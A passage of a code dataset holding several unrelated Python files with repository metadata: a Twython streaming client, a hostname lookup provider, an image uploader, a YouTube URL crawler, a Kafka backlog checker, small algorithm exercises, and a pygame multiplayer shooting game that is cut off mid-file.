calls\n :param timeout: (optional) How long (in secs) the streamer should wait\n for a response from Twitter Streaming API\n :param retry_count: (optional) Number of times the API call should be\n retired\n :param retry_in: (optional) Amount of time (in secs) the previous\n API call should be tried again\n :param client_args: (optional) Accepts some requests Session\n parameters and some requests Request parameters.\n See\n http://docs.python-requests.org/en/latest/api/#sessionapi\n and requests section below it for details.\n [ex. headers, proxies, verify(SSL verification)]\n :param handlers: (optional) Array of message types for which\n corresponding handlers will be called\n\n :param chunk_size: (optional) Define the buffer size before data is\n actually returned from the Streaming API. Default: 1\n \"\"\"\n\n self.auth = OAuth1(app_key, app_secret,\n oauth_token, oauth_token_secret)\n\n self.client_args = client_args or {}\n default_headers = {'User-Agent': 'Twython Streaming v' + __version__}\n if 'headers' not in self.client_args:\n # If they didn't set any headers, set our defaults for them\n self.client_args['headers'] = default_headers\n elif 'User-Agent' not in self.client_args['headers']:\n # If they set headers, but didn't include User-Agent..\n # set it for them\n self.client_args['headers'].update(default_headers)\n self.client_args['timeout'] = timeout\n\n self.client = requests.Session()\n self.client.auth = self.auth\n self.client.stream = True\n\n # Make a copy of the client args and iterate over them\n # Pop out all the acceptable args at this point because they will\n # Never be used again.\n client_args_copy = self.client_args.copy()\n for k, v in client_args_copy.items():\n if k in ('cert', 'headers', 'hooks', 'max_redirects', 'proxies'):\n setattr(self.client, k, v)\n self.client_args.pop(k) # Pop, pop!\n\n self.api_version = '1.1'\n\n self.retry_in = retry_in\n self.retry_count = retry_count\n\n # Set up type methods\n StreamTypes = TwythonStreamerTypes(self)\n self.statuses = StreamTypes.statuses\n\n self.connected = False\n\n self.handlers = handlers if handlers else \\\n ['delete', 'limit', 'disconnect']\n\n self.chunk_size = chunk_size\n\n def _request(self, url, method='GET', params=None):\n \"\"\"Internal stream request handling\"\"\"\n self.connected = True\n retry_counter = 0\n\n method = method.lower()\n func = getattr(self.client, method)\n params, _ = _transparent_params(params)\n\n def _send(retry_counter):\n requests_args = {}\n for k, v in self.client_args.items():\n # Maybe this should be set as a class\n # variable and only done once?\n if k in ('timeout', 'allow_redirects', 'verify'):\n requests_args[k] = v\n\n while self.connected:\n try:\n if method == 'get':\n requests_args['params'] = params\n else:\n requests_args['data'] = params\n\n response = func(url, **requests_args)\n except requests.exceptions.Timeout:\n self.on_timeout()\n else:\n if response.status_code != 200:\n self.on_error(response.status_code, response.content, response.headers)\n\n if self.retry_count and \\\n (self.retry_count - retry_counter) > 0:\n time.sleep(self.retry_in)\n retry_counter += 1\n _send(retry_counter)\n\n return response\n\n while self.connected:\n response = _send(retry_counter)\n\n for line in response.iter_lines(self.chunk_size):\n if not self.connected:\n break\n if line:\n try:\n if is_py3:\n line = line.decode('utf-8')\n data = json.loads(line)\n except ValueError: # pragma: no cover\n self.on_error(response.status_code,\n 'Unable to decode response, \\\n not valid JSON.')\n else:\n if self.on_success(data): # pragma: no cover\n for message_type in self.handlers:\n if message_type in data:\n handler = getattr(self,\n 'on_' + message_type,\n None)\n if handler \\\n and callable(handler) \\\n and not handler(data.get(message_type)):\n break\n\n response.close()\n\n def on_success(self, data): # pragma: no cover\n \"\"\"Called when data has been successfully received from the stream.\n Returns True if other handlers for this message should be invoked.\n\n Feel free to override this to handle your streaming data how you\n want it handled. See\n https://developer.twitter.com/en/docs/tweets/filter-realtime/guides/streaming-message-types\n for messages sent along in stream responses.\n\n :param data: data recieved from the stream\n :type data: dict\n \"\"\"\n return True\n\n def on_error(self, status_code, data, headers=None): # pragma: no cover\n \"\"\"Called when stream returns non-200 status code\n\n Feel free to override this to handle your streaming data how you\n want it handled.\n\n :param status_code: Non-200 status code sent from stream\n :type status_code: int\n\n :param data: Error message sent from stream\n :type data: dict\n\n :param headers: Response headers sent from the stream (i.e. Retry-After)\n :type headers: dict\n \"\"\"\n return\n\n def on_timeout(self): # pragma: no cover\n \"\"\" Called when the request has timed out \"\"\"\n return\n\n def disconnect(self):\n \"\"\"Used to disconnect the streaming client manually\"\"\"\n self.connected = False\n","repo_name":"ryanmcgrath/twython","sub_path":"twython/streaming/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":7971,"program_lang":"python","lang":"en","doc_type":"code","stars":1848,"dataset":"github-code","pt":"22"} +{"seq_id":"909742183","text":"import asyncio\nimport socket\n\nfrom .abc import Provider\n\n\nclass HostnameProvider(Provider):\n async def fetch(self, ip: str) -> tuple[str, str]:\n def _get_hostname(_ip: str) -> str:\n try:\n return socket.gethostbyaddr(_ip)[0]\n except (socket.gaierror, socket.herror, UnicodeError):\n return \"N/A\"\n\n try:\n return \"hostname\", await asyncio.wait_for(\n asyncio.get_running_loop().run_in_executor(\n None, _get_hostname, str(ip)\n ),\n timeout=2,\n )\n except asyncio.exceptions.TimeoutError:\n return \"hostname\", \"N/A\"\n","repo_name":"Rom1-J/tuxbot-bot","sub_path":"tuxbot/cogs/Network/commands/Iplocalise/providers/HostnameProvider.py","file_name":"HostnameProvider.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"22"} +{"seq_id":"2661978679","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom poster.encode import multipart_encode\nfrom poster.streaminghttp import register_openers\nimport urllib, urllib2, cookielib\n \nclass EnvoiSurSite(): \n\tdef __init__(self, urlcible = ''): \n\t\tself.urlcible = urlcible \n\tdef envoi(self): \n\t\t#\"http://ks.quintard.me/videosurveillance//video.php\"\n\t\t \n\t\topener = register_openers()\n\t\topener.add_handler(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))\n\n\t\tparams = {'camera_image': open(\"test.JPG\", \"rb\"), 'token': 'azerty', 'camera_name' : 'port'}\n\t\tdatagen, headers = multipart_encode(params)\n\t\t\n\t\trequest = urllib2.Request(self.urlcible, datagen, headers)\n\t\tresult = urllib2.urlopen(request) \n","repo_name":"Clement83/CameraVideoSurveillance","sub_path":"Camera/helperUrl.py","file_name":"helperUrl.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"33864254297","text":"import pandas as pd\nimport numpy as np\nimport csv\nimport requests\n\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\nimport time\n\ndriver = webdriver.Chrome('C:/Users/gmlrn/Desktop/hg/chromedriver')\ndriver.implicitly_wait(5)\n\ndf = pd.read_csv(\"./love_music_list.csv\")\n\nurl = []\n\n# print(df[:20])\n\n\nfor music in df[\"music\"]:\n\n if \"#\" in music:\n music = music.replace(\"#\", \"\")\n\n URL=f'https://www.youtube.com/results?search_query={music}'\n driver.get(URL)\n time.sleep(3)\n print('driver get request [URL : '+URL+']')\n result = driver.page_source\n soup = BeautifulSoup(result, 'html.parser')\n\n music_url = soup.select('#video-title')[0][\"href\"]\n\n music_url = str(music_url).replace(\"watch?v=\", \"embed/\")\n\n url.append(music_url)\n\n\ndf[\"url\"] = url\n\nprint(df[\"url\"])\n\ndf.to_csv(\"./add_url.csv\", sep=\",\", index=False, columns=[\"music\", \"singer\", \"url\"])\n\ndriver.quit()","repo_name":"aloha-project-team/feelm","sub_path":"crawling_music_list/crawling_url(수정필요).py","file_name":"crawling_url(수정필요).py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15533168769","text":"import csv\nimport sys\n\nrows = {}\n\nwith open(sys.argv[1], \"r\") as f1:\n reader = csv.DictReader(f1)\n for line in reader:\n rows[line['package']] = line\n\nwith open(sys.argv[2], \"r\") as f2:\n reader = csv.DictReader(f2)\n for line in reader:\n if line['package'] in rows:\n if line['verified']:\n rows[line['package']] = line\n\nwith open(sys.argv[3], \"w\") as f3:\n writer = csv.DictWriter(f3, fieldnames=['package', 'authors', 'description', 'url', 'msc', 'verified'])\n writer.writeheader()\n writer.writerows(list(rows.values()))\n","repo_name":"Hazelfire/thesis","sub_path":"math_crawlers/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"38924491479","text":"#!/usr/bin/env python\nimport argparse\nimport subprocess\nimport time\nimport os\nimport json\nfrom datetime import datetime\n\n\n# Argument parsing\nparser = argparse.ArgumentParser(description='Monitor Kafka - Compare topics processing')\n\nparser.add_argument('--kafka-home',\n help='Directory where kafka bin folder is placed')\nparser.add_argument('--bootstrap-server',\n help='Kafka bootstrap server including port (e.j. kafka-broker.something.ch:9093)')\nparser.add_argument('--command-config',\n help='Property file containing configs to be passed to Admin client and Consumer. Please note that if there is a consumer group the timestamp will not be accurate')\nparser.add_argument('--topics', metavar='topic', nargs='+',\n help='Topic to check')\nparser.add_argument('-n', metavar='nmesg',\n help='Number of messages to get the timestamp from')\n\nargs = parser.parse_args()\n\t\nprint(\"Checking backlog for topics {0}\".format(args.topics))\n\n# Need to open the consumer for each topic. Please note that in general the fact of opening consumers \n# (and also taking the measure) sequentially might result in some small error in the topic's progress\n# kafka.tools.GetOffsetShell does not support brokers over SSL. Therefore we need to opt for \n# consumerGroupCommand which needs consumers\n\n# Opening consumers\n\nFNULL = open(os.devnull, 'w') # To avoid the stdout of the process to be displayed\n\nprint(\"---------------------Timestamp diff----------------------\")\nfor topic in args.topics:\n\tconsumed_value = subprocess.check_output(\n\t\t[\n\t\t\"{0}{1}\".format(args.kafka_home, \"/bin/kafka-console-consumer.sh\"),\n\t\t\"--bootstrap-server\", \n\t\targs.bootstrap_server,\n\t\t\"--consumer.config\",\n\t\t\"{0}/config/{1}\".format(args.kafka_home, args.command_config),\n\t\t\"--topic\",\n\t\ttopic,\n\t\t\"--max-messages\",\n\t\tstr(args.n),\n\t\t\"--new-consumer\"\n\t\t],\n\t\tstderr=FNULL)\n\tdtts = datetime.fromtimestamp(json.loads(consumed_value)['timestamp']/1000)\n\tts = dtts.strftime(\"%Y-%m-%dT%H:%M:%S\")\n\tprint(\"|\\t {0} \\t|\\t{1}\\t|\".format(topic, ts))\n\t\nprint(\"---------------------------------------------------------\")\n","repo_name":"ppanero/randscripts","sub_path":"topic_backlog.py","file_name":"topic_backlog.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13492303258","text":"# Enter your code here. Read input from STDIN. Print output to STDOUT\nfrom collections import deque\n\nclass TreeNode:\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n \n# Helper function to generate parent map\ndef generateMap(root):\n parentMap = dict()\n \n if root is None:\n return parentMap\n \n queue = deque()\n queue.append(root)\n \n parentMap[root.val] = None\n \n while queue:\n node = queue.popleft()\n \n if node.left:\n parentMap[node.left.val] = node.val\n queue.append(node.left)\n \n if node.right:\n parentMap[node.right.val] = node.val\n queue.append(node.right)\n \n return parentMap\n\n# Helper function to generate set of nodes that we need to keep\ndef getNodesToKeep(parentMap, arrNodes):\n resultSet = set()\n \n for node in arrNodes:\n # Path to root\n parent = parentMap[node]\n while parent is not None:\n resultSet.add(parent)\n parent = parentMap[parent]\n \n # Add direct sibling\n parent = parentMap[node]\n for key, val in parentMap.items():\n if val == parent:\n resultSet.add(key)\n \n return resultSet\n\n# Helper function to check rule #2 (indirect case)\ndef checkSibling(targetSet, parentMap, node):\n parent = parentMap[node]\n arrSiblings = []\n \n for key, val in parentMap.items():\n if val == parent:\n arrSiblings.append(key)\n \n for s in arrSiblings:\n if s in targetSet:\n return True\n \n return False\n \n# Main function that uses all other helper function to modify given tree\ndef pruneTree(root, arrNodes):\n if root is None:\n return root\n \n queue = deque()\n queue.append(root)\n \n parentMap = generateMap(root)\n nodesToKeep = getNodesToKeep(parentMap, arrNodes)\n\n while queue:\n node = queue.popleft()\n \n if node.left:\n queue.append(node.left)\n lVal = node.left.val\n if not ((lVal in arrNodes) or (lVal in nodesToKeep) or checkSibling(nodesToKeep, parentMap, lVal)):\n node.left = None\n \n \n if node.right:\n queue.append(node.right)\n rVal = node.right.val\n if not ((rVal in arrNodes) or (rVal in nodesToKeep) or checkSibling(nodesToKeep, parentMap, rVal)):\n node.right = None\n \n return root\n\n# Helper function to print tree in level by level order \ndef levelOrderTraverse(root):\n result = []\n \n if root is None:\n return result\n\n queue = deque()\n queue.append(root)\n \n while queue:\n tempResult = []\n for _ in range(len(queue)):\n node = queue.popleft()\n tempResult.append(node.val)\n\n if node.left:\n queue.append(node.left)\n if node.right:\n queue.append(node.right)\n \n result.append(tempResult)\n\n return result\n \n### Test ###\nroot = TreeNode('A')\nroot.left = TreeNode('B')\nroot.right = TreeNode('C')\nroot.left.left = TreeNode('D')\nroot.left.right = TreeNode('E')\nroot.right.left = TreeNode('F')\n\narrSet = ['B', 'F']\n\nresult = levelOrderTraverse(pruneTree(root, arrSet))","repo_name":"meghalmodi12/python-programming","sub_path":"interviews/nuna.py","file_name":"nuna.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"37170614086","text":"import numpy\nimport generators\n\n# Generalized two-sample permutation test\n\ndef perm_test (data1, data2, transformation):\n \"\"\" Conducts a permutation test on the input data, transformed by fun. \"\"\"\n # apply transformation to input data (e.g. signed-rank for WMW)\n data = transformation(numpy.concatenate((data1, data2)))\n data1 = data[0:len(data1)]\n stat_ref = numpy.sum(data1)\n # count permutation test statistics <=, >=, or ||>=|| than reference stat \n counts = numpy.array([0,0,0]) # (lesser, greater)\n\n for binary_row in generators.binary_combinations(len(data),len(data1)):\n stat_this = numpy.sum(numpy.array(data)*binary_row)\n counts = counts + stat_compare(stat_ref,stat_this)\n # return p-values for lower, upper, and two-tail tests (FP number)\n n_comb = numpy.multiply.reduce(numpy.array(range(len(data)-len(data1)+1,len(data)+1)))\\\n / numpy.multiply.reduce(numpy.array(range(1,len(data1)+1)))\n counts[2] = min(2*counts[0:2].min(),n_comb) # hack to define p.twotail as 2*smaller of 1 tail p's\n\n return counts / float(n_comb)\n\ndef stat_compare (stat_ref,stat_test):\n \"\"\" Tests for comparing permutation and observed test statistics\"\"\"\n lesser = (1 if stat_test <= stat_ref else 0)\n greater = (1 if stat_test >= stat_ref else 0)\n more_extreme = 0\n return numpy.array([lesser,greater,more_extreme])\n","repo_name":"onekonek/ml-lbd","sub_path":"significance/two_sample.py","file_name":"two_sample.py","file_ext":"py","file_size_in_byte":1380,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"10799984562","text":"#############################\n# Sockets Client Demo\n# by Rohan Varma\n# adapted by Kyle Chin\n#############################\n\nimport socket\nimport threading\nfrom queue import Queue\n\nHOST = \"128.237.127.243\" # put your IP address here if playing on multiple computers\nPORT = 50003\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nserver.connect((HOST,PORT))\nprint(\"connected to server\")\n\ndef handleServerMsg(server, serverMsg):\n server.setblocking(1)\n msg = \"\"\n command = \"\"\n while True:\n msg += server.recv(10).decode(\"UTF-8\")\n command = msg.split(\"\\n\")\n while (len(command) > 1):\n readyMsg = command[0]\n msg = \"\\n\".join(command[1:])\n serverMsg.put(readyMsg)\n command = msg.split(\"\\n\")\n\n'''\npygamegame.py\ncreated by Lukas Peraza\n for 15-112 F15 Pygame Optional Lecture, 11/11/15\nuse this code in your term project if you want\n- CITE IT\n- you can modify it to your liking\n - BUT STILL CITE IT\n- you should remove the print calls from any function you aren't using\n- you might want to move the pygame.display.flip() to your redrawAll function,\n in case you don't need to update the entire display every frame (then you\n should use pygame.display.update(Rect) instead)\n'''\nimport pygame\nimport time\nfrom bombs import *\nfrom player import *\nfrom Obstacle import *\nfrom bullets import *\nimport random\nimport math\nfrom functools import reduce\n\n####################################\n# customize these functions\n####################################\n\nclass PygameGame(object):\n # Initializing values. \n def init(self):\n # General initializations. \n self.bombs = pygame.sprite.Group()\n self.missiles = pygame.sprite.Group()\n self.playerBullets = pygame.sprite.Group()\n self.timeCounter = 0\n self.menuBg = pygame.transform.scale(pygame.image.load(\"bg2.png\").convert_alpha(), [self.width, self.height])\n self.background = pygame.transform.scale(pygame.image.load(\"bg.jpg\").convert_alpha(), [self.width, self.height])\n #self.music = pygame.mixer.music.load(\"music.wav\")\n \n # Initializations for the AI mode\n self.birthX = self.width-12.5\n self.birthY = self.height-12.5\n self.aiX, self.aiY = 12.5, 12.5\n self.player = Player(\"Lonely\", self.birthX, self.birthY)\n self.ai = AI(self.aiX, self.aiY)\n self.aiBullets = pygame.sprite.Group()\n \n # Initializations for multiplayer mode\n self.pos = [(self.width-12.5, self.height-12.5), (12.5, self.height-12.5), (self.width-12.5, 12.5), (12.5, 12.5)]\n self.others = dict()\n self.otherBullets = dict()\n self.obs = starMap(self.width, self.height)\n obsMsg = \"obs %s\\n\" % self.doObs(self.obs)\n server.send(obsMsg.encode())\n \n # Game state initial values\n self.aiMode = False\n self.me = False\n self.othersState = dict()\n self.playerNum = 0\n \n # Button positions\n self.buttonW, self.buttonH = 200, 50\n self.first = [[200,200], [200,280], [200,360], [200,440]]\n \n # Convert elements in self.obs into integers. \n def doObs(self, obs):\n pattern = [ ([None]*len(obs)) for row in range(len(obs)) ]\n for i in range(len(obs)):\n for j in range(len(obs)):\n if isinstance(obs[i][j], Block):\n pattern[i][j] = obs[i][j].life\n if isinstance(obs[i][j], Star):\n pattern[i][j] = 9\n \n return pattern\n \n # Change the list of integers bakc into Block objects. \n def redoObs(self, pattern):\n obs = [ ([None]*len(pattern)) for row in range(len(pattern)) ]\n for i in range(len(pattern)):\n for j in range(len(pattern)):\n if pattern[i][j] != None:\n if pattern[i][j] == 9:\n obs[i][j] = Star(j*blockSize, i*blockSize)\n obs[i][j].life = 1\n else:\n obs[i][j] = Block(j*blockSize, i*blockSize)\n obs[i][j].life = pattern[i][j]\n return obs\n \n def mousePressed(self, x, y):\n # Mouse interactions on the start menu. \n connectMsg = \"\"\n if (self.first[0][0] < x < self.first[0][0]+self.buttonW) and (self.first[0][1] < y < self.first[0][1]+self.buttonH):\n self.aiMode = True\n elif (self.first[1][0] < x < self.first[1][0]+self.buttonW) and (self.first[1][1] < y < self.first[1][1]+self.buttonH):\n self.playerNum = 2\n self.me = True\n connectMsg = \"connecting %s\\n\" % self.me\n elif (self.first[2][0] < x < self.first[2][0]+self.buttonW) and (self.first[2][1] < y < self.first[2][1]+self.buttonH):\n self.playerNum = 3\n self.me = True\n connectMsg = \"connecting %s\\n\" % self.me\n elif (self.first[3][0] < x < self.first[3][0]+self.buttonW) and (self.first[3][1] < y < self.first[3][1]+self.buttonH):\n self.playerNum = 4\n self.me = True\n connectMsg = \"connecting %s\\n\" % self.me\n \n if (connectMsg != \"\"):\n print(\"sending: \", connectMsg,)\n server.send(connectMsg.encode())\n\n def mouseReleased(self, x, y):\n pass\n\n def mouseMotion(self, x, y):\n pass\n\n def mouseDrag(self, x, y):\n pass\n \n # See if the area around the player is not a drawing block. \n def neighborVacant(self, x, y):\n if (x < 0) or (x >= self.width//blockSize) or (y < 0) or (y >= self.height//blockSize):\n return False\n elif (self.obs[x][y] == None) or (isinstance(self.obs[x][y], Block) and self.obs[x][y].life > 0):\n return False\n return True\n \n def keyPressed(self, keyCode, modifier):\n dx, dy = 0, 0\n speed = 5\n # Messages\n msg1 = \"\"\n msg2 = \"\"\n msg3 = \"\"\n msg4 = \"\"\n makeBulletMsg = \"\"\n starMsg = \"\"\n addBlockMsg = \"\"\n # Rotate the player with direction keys. \n if keyCode == pygame.K_q:\n degree = 90\n self.player.rotate(degree)\n msg3 = \"playerRotate %d\\n\" % degree\n elif keyCode == pygame.K_e:\n degree = -90\n self.player.rotate(degree)\n msg3 = \"playerRotate %d\\n\" % degree\n \n if msg3 != \"\":\n print(\"sending: \", msg3,)\n server.send(msg3.encode())\n \n # Player can make blocks around him when he kills four lives. \n if self.player.kill >= 4:\n posX = int((self.player.cy) // blockSize)\n posY = int((self.player.cx) // blockSize)\n if keyCode == pygame.K_a and self.neighborVacant(posX, posY-1):\n self.obs[posX][posY-1].life = 1\n addBlockMsg = \"addBlock %d %d\\n\" % (posX, posY-1)\n elif keyCode == pygame.K_d and self.neighborVacant(posX, posY+1):\n self.obs[posX][posY+1].life = 1\n addBlockMsg = \"addBlock %d %d\\n\" % (posX, posY+1)\n elif keyCode == pygame.K_w and self.neighborVacant(posX-1, posY):\n self.obs[posX-1][posY].life = 1\n addBlockMsg = \"addBlock %d %d\\n\" % (posX-1, posY)\n elif keyCode == pygame.K_s and self.neighborVacant(posX+1, posY):\n self.obs[posX+1][posY].life = 1\n addBlockMsg = \"addBlock %d %d\\n\" % (posX+1, posY)\n \n if (addBlockMsg != \"\"):\n print(\"sending: \", addBlockMsg,)\n server.send(addBlockMsg.encode())\n \n # Move the player with direction keys. \n if keyCode == pygame.K_LEFT:\n if self.player.cx + dx <= self.player.playerSize:\n dx = 0\n else:\n dx = -speed\n elif keyCode == pygame.K_RIGHT:\n if self.player.cx + self.player.playerSize + dx >= self.width:\n dx = 0\n else:\n dx = speed\n elif keyCode == pygame.K_UP:\n if self.player.cy + dy <= self.player.playerSize:\n dy = 0\n else:\n dy = -speed\n elif keyCode == pygame.K_DOWN:\n if self.player.cy + self.player.playerSize + dy >= self.height:\n dy = 0\n else:\n dy = speed\n \n self.player.move(dx, dy)\n msg1 = \"playerMoved %d %d\\n\" % (dx, dy)\n \n if (msg1 != \"\"):\n print(\"sending: \", msg1,)\n server.send(msg1.encode())\n \n # Motions when player is blocked. \n for row in self.obs:\n for block in row:\n if self.player.collideWithBlocks(block) and block.life > 0:\n if isinstance(block, Star):\n block.life = 0\n starMsg = \"star gg\\n\"\n self.player.special = True\n msg4 = \"specialBullet %s\\n\" % True\n if self.player.kill < 6:\n self.player.move(-dx, -dy)\n msg2 = \"playerMoved %d %d\\n\" % (-dx, -dy)\n \n if (starMsg != \"\"):\n print(\"sending: \", starMsg,)\n server.send(starMsg.encode())\n if (msg4 != \"\"):\n print(\"sending: \", msg4,)\n server.send(msg4.encode())\n if (msg2 != \"\"):\n print(\"sending: \", msg2,)\n server.send(msg2.encode())\n \n # Make a bullet.\n if keyCode == pygame.K_SPACE:\n bullet = self.player.makeBullet()\n self.playerBullets.add(bullet)\n makeBulletMsg = \"makeBullet %d %d\\n\" % (bullet.cx, bullet.cy)\n if (makeBulletMsg != \"\"):\n print(\"sending: \", makeBulletMsg,)\n server.send(makeBulletMsg.encode())\n \n def keyReleased(self, keyCode, modifier):\n pass\n\n def timerFired(self, dt):\n self.timeCounter += 1\n timeDelay = 150\n timeDelayAI = 80\n # Messages\n bombMsg = \"\"\n missileMsg = \"\"\n missMoveMsg = \"\"\n otherhealthMsg = \"\"\n \n # Game process for AI mode\n if (self.aiMode == True):\n # Make bombs and their motions\n if (self.timeCounter % timeDelayAI == 0):\n thx = random.randint(0, self.width-blockSize)\n thy = random.randint(0, self.height-blockSize)\n self.bombs.add(Bombs(thx, thy))\n for bomb in self.bombs:\n if bomb.collideWithPlayer(self.player):\n bomb.thSize = 0\n self.player.health -= 1\n # Make special bombs and their motions\n if (self.timeCounter % timeDelayAI == 0):\n thx = random.randint(0, self.width-blockSize)\n thy = random.randint(0, self.height-blockSize)\n self.missiles.add(Missiles(thx, thy))\n for missile in self.missiles:\n missile.move(self.width, self.height)\n if missile.collideWithPlayer(self.player):\n self.missiles.remove(missile)\n self.player.health -= 1\n \n # Bullets motions for player\n for bullet in self.playerBullets:\n bullet.moveBullet()\n for row in self.obs:\n for block in row:\n if bullet.collideWithBlock(block) and block.life > 0:\n if not isinstance(block, Star): \n self.playerBullets.remove(bullet)\n block.life -= 1\n if self.ai.collideWithBullets(bullet):\n self.ai.health -= bullet.damage\n self.playerBullets.remove(bullet)\n elif bullet.isOffscreen(self.width, self.height):\n self.playerBullets.remove(bullet)\n # Bullets motions for ai\n for bullet in self.aiBullets:\n bullet.moveBullet()\n for row in self.obs:\n for block in row:\n if bullet.collideWithBlock(block) and block.life > 0: \n if not isinstance(block, Star): \n self.aiBullets.remove(bullet)\n block.life -= 1\n if self.player.collideWithBullets(bullet):\n self.player.health -= bullet.damage\n self.aiBullets.remove(bullet)\n elif bullet.isOffscreen(self.width, self.height):\n self.aiBullets.remove(bullet)\n # AI path finding\n opposite = self.player.cy - self.ai.cy\n ajacent = self.player.cx - self.ai.cx\n if ajacent != 0:\n angle = math.atan(opposite/ajacent)\n else:\n angle = 90 if opposite > 0 else -90\n if self.ai.cx > self.player.cx:\n angle += 180\n \n dist = ((self.player.cx-self.ai.cx)**2 + (self.player.cy-self.ai.cy)**2)**0.5\n direction = random.choice([True, False])\n velocity = 3\n vx, vy = 0, 0\n # AI moves towards the player, shoots him when they're close enough\n if dist > (self.ai.playerSize + self.player.playerSize)*3:\n \n if self.timeCounter % 1 == 0:\n if direction == True:\n vx = velocity * math.cos(angle)\n self.ai.chase(vx, vy)\n \n else:\n vy = velocity * math.sin(angle)\n self.ai.chase(vx, vy)\n \n else:\n self.ai.rotate(angle)\n if self.timeCounter % 3 == 0:\n self.aiBullets.add(self.ai.makeBullet())\n # AI will shoot around when encountered a block\n for row in self.obs:\n for block in row:\n if self.ai.collideWithBlocks(block) and block.life > 0:\n self.ai.chase(-vx, -vy)\n op = self.ai.cy - (block.y + blockSize/2)\n aj = self.ai.cx - (block.x + blockSize/2)\n if aj != 0:\n degree = math.degrees(math.atan(op/aj))\n else:\n degree = 90 if op > 0 else -90\n self.ai.rotate(degree)\n if self.timeCounter % 5 == 0:\n self.aiBullets.add(self.ai.makeBullet())\n \n \n \n # Game process for multiplayer mode\n if self.me and self.otherConnected():\n # Make a bomb.\n if self.timeCounter % timeDelay == 0 and len(self.others) == self.playerNum-1:\n thx = random.randint(0, self.width-blockSize)\n thy = random.randint(0, self.height-blockSize)\n self.bombs.add(Bombs(thx, thy))\n bombMsg = \"makeBomb %d %d\\n\" % (thx, thy)\n if (bombMsg != \"\"):\n print(\"sending: \", bombMsg,)\n server.send(bombMsg.encode())\n # When bombs hit a player. \n for bomb in self.bombs:\n if bomb.collideWithPlayer(self.player):\n bomb.thSize = 0\n self.player.health -= 1\n for other in self.others:\n if bomb.collideWithPlayer(self.others[other]):\n bomb.thSize = 0\n self.others[other].health -= 1\n otherhealthMsg = \"otherHealth %s 1\\n\" % other\n \n # Make a special bomb.\n if self.timeCounter % timeDelay == 0 and len(self.others) == self.playerNum-1:\n thx = random.randint(0, self.width-blockSize)\n thy = random.randint(0, self.height-blockSize)\n self.missiles.add(Missiles(thx, thy))\n missileMsg = \"makeMissile %d %d\\n\" % (thx, thy)\n if (missileMsg != \"\"):\n print(\"sending: \", missileMsg,)\n server.send(missileMsg.encode())\n # When special bombs hit a player. \n for missile in self.missiles:\n missile.move(self.width, self.height)\n if missile.collideWithPlayer(self.player):\n self.missiles.remove(missile)\n self.player.health -= 1\n for other in self.others:\n if missile.collideWithPlayer(self.others[other]):\n self.missiles.remove(missile)\n self.others[other].health -= 1\n otherhealthMsg = \"otherHealth %s 1\\n\" % other\n \n # Bullets motions for self player. \n for bullet in self.playerBullets:\n bullet.moveBullet()\n for row in self.obs:\n for block in row:\n if bullet.collideWithBlock(block) and block.life > 0:\n if not isinstance(block, Star): \n self.playerBullets.remove(bullet)\n block.life -= 1\n for other in self.others:\n if self.others[other].collideWithBullets(bullet):\n self.others[other].health -= bullet.damage\n otherhealthMsg = \"otherHealth %s %d\\n\" % (other, bullet.damage)\n self.playerBullets.remove(bullet)\n self.player.kill += 1\n if bullet.isOffscreen(self.width, self.height):\n self.playerBullets.remove(bullet)\n \n # Bullets motions for other players. \n for PID in self.otherBullets:\n for bullet in self.otherBullets[PID]:\n bullet.moveBullet()\n for row in self.obs:\n for block in row:\n if bullet.collideWithBlock(block) and block.life > 0:\n if not isinstance(block, Star): \n self.otherBullets[PID].remove(bullet)\n block.life -= 1\n if self.player.collideWithBullets(bullet):\n self.player.health -= bullet.damage\n self.otherBullets[PID].remove(bullet)\n elif bullet.isOffscreen(self.width, self.height):\n self.otherBullets[PID].remove(bullet)\n \n # if (otherhealthMsg != \"\"):\n # print(\"sending: \", otherhealthMsg,)\n # server.send(otherhealthMsg.encode())\n \n #timerFired receives instructions and executes them\n while (serverMsg.qsize() > 0):\n msg = serverMsg.get(False)\n try:\n print(\"received: \", msg, \"\\n\")\n msg = msg.split()\n command = msg[0]\n\n if (command == \"myIDis\"):\n myPID = msg[1]\n num = int(myPID[-1])\n self.player = Player(myPID, self.pos[num][0], self.pos[num][1])\n \n elif (command == \"newPlayer\"):\n newPID = msg[1]\n num = int(newPID[-1])\n x = self.pos[num][0]\n y = self.pos[num][1]\n self.others[newPID] = Player(newPID, x, y)\n self.othersState[newPID] = False\n \n elif (command == \"connecting\"):\n PID = msg[1]\n status = bool(msg[2])\n self.othersState[PID] = status\n \n elif (command == \"playerMoved\"):\n PID = msg[1]\n dx = int(msg[2])\n dy = int(msg[3])\n self.others[PID].move(dx, dy)\n \n elif (command == \"playerRotate\"):\n PID = msg[1]\n angle = int(msg[2])\n self.others[PID].rotate(angle)\n \n elif (command == \"specialBullet\"):\n PID = msg[1]\n self.others[PID].special = True\n \n elif (command == \"makeBullet\"):\n PID = msg[1]\n bull = self.others[PID].makeBullet()\n if PID in self.otherBullets:\n self.otherBullets[PID].add(bull)\n else:\n self.otherBullets[PID] = pygame.sprite.Group()\n self.otherBullets[PID].add(bull)\n \n elif (command == \"makeBomb\"):\n PID = msg[1]\n thx = int(msg[2])\n thy = int(msg[3])\n bom = Bombs(thx, thy)\n self.bombs.add(bom)\n \n elif (command == \"makeMissile\"):\n PID = msg[1]\n thx = int(msg[2])\n thy = 